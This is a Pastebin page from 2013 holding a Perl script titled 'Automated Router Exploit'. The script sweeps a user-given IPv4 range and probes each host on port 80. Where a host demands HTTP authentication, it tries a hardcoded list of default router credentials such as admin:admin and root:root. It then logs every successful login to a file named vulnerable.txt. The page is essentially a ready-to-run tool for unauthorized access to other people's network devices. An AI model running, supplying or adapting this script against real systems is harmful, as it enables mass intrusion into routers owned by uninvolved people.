MLT

Perl - Automated Router Exploit

MLT
Nov 10th, 2013
647
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.45 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use IO::Socket;
  3. use LWP;
  4. my $browser = LWP::UserAgent->new;
  5. $browser->timeout(1);
  6. my $realm;
  7. my @success;
  8. my $successTotal;
  9.  
  10. if(@ARGV != 2){
  11.   print "Parameters: [Start IP] [End IP]\n";
  12.   exit 1;
  13. }
  14.  
  15. @sip = split(/\./, $ARGV[0]);
  16. @eip = split(/\./, $ARGV[1]);
  17. for($x = 0; $x < 4; ++$x){
  18.   if(($sip[$x] >= 255) || ($eip[$x] >= 255) || ($sip[$x] < 1) || ($eip[$x] < 1)){
  19.     print "[-] Invalid IP address entered - Please use numbers between 1 and 254.\n";
  20.     exit 1;
  21.   }
  22. }
  23.  
  24.  
  25. @creds = (
  26. [ 'admin', 'password' ],
  27. [ 'admin', 'admin' ],
  28. [ 'sysadmin', 'admin' ],
  29. [ 'sysadmin', 'password' ],
  30. [ 'admin', 'changeme' ],
  31. [ 'root', 'root' ],
  32. );
  33.  
  34. sub tryCreds {
  35.   my ($ip,$realm) = @_;
  36.   for($i=0; $i<=$#creds; $i++)
  37.   {
  38.     $browser->credentials(
  39.       $ip.':80',
  40.       $realm,
  41.       $creds[$i][0] => $creds[$i][1]
  42.     );
  43.     $response = $browser->get('http://' . $cip);
  44.     if($response->header('WWW-Authenticate'))
  45.     {
  46.       print "     -  Failed:  " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
  47.     }
  48.     elsif($response->is_success)
  49.     {
  50.       print "     -  SUCCESS: " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
  51.       push (@success, '>>'.$ip.':'.$creds[$i][0] . ":" . $creds[$i][1]."\n");
  52.       $successTotal++;
  53.       last;
  54.     }
  55.     else
  56.     {
  57.       print "     -  Failed:  " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
  58.     }
  59.   }
  60. }
  61.  
  62.  
  63. print "[+] Scanning ranges " . $ARGV[0] . " to " . $ARGV[1] . "\n\n";
  64. while(1){
  65.   $cip = join('.', @sip);
  66.   $response = $browser->get('http://' . $cip . ':80');
  67.   if($response->header('WWW-Authenticate'))
  68.   {
  69.     $realm = $response->header('WWW-Authenticate');
  70.     $realm =~ /\"(.*?)\"/;
  71.     print "[+] " . $cip . " is asking for login for " . $1 .  "\n";
  72.     tryCreds($cip, $1);
  73.   }
  74.   elsif($response->is_success)
  75.   {
  76.   print "[~] Something at " . $cip . "\n";
  77.   }
  78. else
  79.   {
  80.     print "[-] " . $cip . "\n";  
  81.   }
  82.  
  83. $sip[3] += "1";
  84.   if($sip[3] > "255"){
  85.     $sip[2] += "1";
  86.     $sip[3] = "0";
  87.   }
  88.   if($sip[2] > "255"){
  89.     $sip[1] += "1";
  90.     $sip[2] = "0";
  91.   }
  92.   if($sip[1] > "255"){
  93.     $sip[0] += "1";
  94.     $sip[1] = "0";
  95.   }
  96.   if($ARGV[1] eq $cip){
  97.     print "==========================================\n";
  98.     print @success;
  99.     print '[+] Scan completed! Found a total of ' . $successTotal . " vulnerable routers!\n";
  100.     open(outputFile, ">>vulnerable.txt");
  101.     print outputFile @success;;
  102.     close(outputFile);
  103.     print "File Saved to: vulnerable.txt\n\n";
  104. exit 1;
  105.   }
  106. }
  107. exit;
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment